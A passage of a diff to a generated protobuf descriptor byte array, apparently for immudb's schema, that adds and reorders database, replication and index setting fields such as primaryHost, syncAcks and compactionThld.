0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x16, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, + 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0d, 0x73, 0x79, + 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x47, 0x0a, 0x0f, 0x77, + 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, - 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, - 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, - 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x0b, 0x61, + 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0xb4, 0x06, 0x0a, 0x1b, 0x52, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, + 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, - 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, - 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, - 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, - 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, - 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, - 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, - 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, - 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, - 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x55, 0x0a, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, - 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, + 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, - 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, - 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, - 0x6c, 0x65, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, + 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, + 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, + 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, + 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, + 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, + 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, + 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, + 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, - 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, - 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, - 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0b, 0x20, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, + 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, + 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, + 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, + 0x67, 0x22, 0xfb, 0x07, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, + 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, - 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x66, - 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0c, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4a, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, - 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x52, 0x11, 0x63, - 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, - 0x22, 0xa3, 0x01, 0x0a, 0x13, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, - 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, + 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, + 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, + 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, + 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, + 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, + 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, + 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, + 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, + 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, + 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x55, 0x0a, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, + 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, - 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, - 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, - 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x31, 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 